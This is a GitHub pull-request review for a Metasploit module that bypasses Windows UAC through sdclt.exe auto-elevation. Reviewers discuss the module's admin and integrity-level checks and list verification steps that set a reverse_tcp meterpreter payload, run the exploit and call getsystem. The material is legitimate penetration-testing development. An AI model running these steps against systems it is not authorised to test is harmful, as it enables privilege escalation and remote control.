-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add Windows backup system sdclt uac bypass module #12494
Conversation
As a aside, this method likely works on 32-bit Windows versions, but this module only supports 64-bit as it is written. Is it worth the time to make these work on both architectures? |
admin_group = is_in_admin_group? | ||
if admin_group.nil? | ||
print_error('Either whoami is not there or failed to execute') | ||
print_error('Continuing under assumption you already checked...') | ||
else | ||
if admin_group | ||
print_good('Part of Administrators group! Continuing...') | ||
else | ||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') | ||
end | ||
end | ||
|
||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low] | ||
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Observation - not a suggestion.
get_integrity_level
and is_in_admin_group?
both utilise the same whoami
functionality. The former will not succeed if the latter does not succeed.
Given the messy return types (true
, false
, maybe
nil
), refactoring this code isn't of much use. None the less, I offer the following:
admin_group = is_in_admin_group?
if admin_group
print_good('Part of Administrators group! Continuing...')
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
else
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end
or
admin_group = is_in_admin_group?
if admin_group == false
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
print_good('Part of Administrators group! Continuing...')
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
or
case is_in_admin_group?
when true
print_good('Part of Administrators group! Continuing...')
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
when false
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
when nil
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
end
Also, perhaps the print_error
should be print_warning
, as execution will continue.
Another option would be to implement ForceExploit
functionality, and bail out if admin_group
is false
or nil
, with an option to bypass by setting ForceExploit
to true
.
¯\_(ツ)_/¯
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I really like that third option. It is ugly, but I think the revulsion at a case statement with true/false is a great literary device to bring home the point of the required complexity, if that makes sense.....
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I really like that third option.
Options 2 and 3 are my preferences.
Option 2 : return early return often.
Option 3 : short and fairly easy to read.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I probably should have looked at other example modules first, before I wrote up those examples above.
It looks like the case
/ when
block approach has been used before.
def check_permissions
# Check if you are an admin
case is_in_admin_group?
when nil
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
when true
print_good('Part of Administrators group! Continuing...')
when false
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
I think I hit the important points. Anything left on this before we can land? |
Do you know when this bypass was fixed? I wasn't successful with a fairly recent install:
|
Works for me on |
You can ignore the extra session (3), it's a java session failing to establish. |
print_status("Registry Changes Removed") | ||
end | ||
|
||
def check_permissions! |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We should consider moving this function to a mixin at some point, it seems to be duplicated
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Much of the UAC bypass code is. At least a mixin, and then that unified module we all keep talking about.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Since it's duplicated in so many places I think it would make sense to land this as is and refactor in a separate pull request
[ | ||
['URL', 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/'], | ||
['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1'], | ||
['URL', 'http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass'] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
https
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
added in 09730ae
Thanks everyone for the help and review. |
Release NotesThe bypassuac_sdclt module targets the auto-elevate feature in the Windows backup system's sdclt.exe binary to execute a session a higher integrity process. |
This is another one of those auto-elevate registry key UAC bypass bugs. It targets the Windows backup and restore binary sdclt.exe.
Verification
List the steps needed to make sure this thing works
msfconsole
get a 64-bit meterpreter session
use exploit/windows/local/bypassuac_sdclt
set payload windows/x64/meterpreter/reverse_tcp
set lhost <lhost>
set lport <lport>
set session <session>
set verbose true
run
getsystem
Entire Process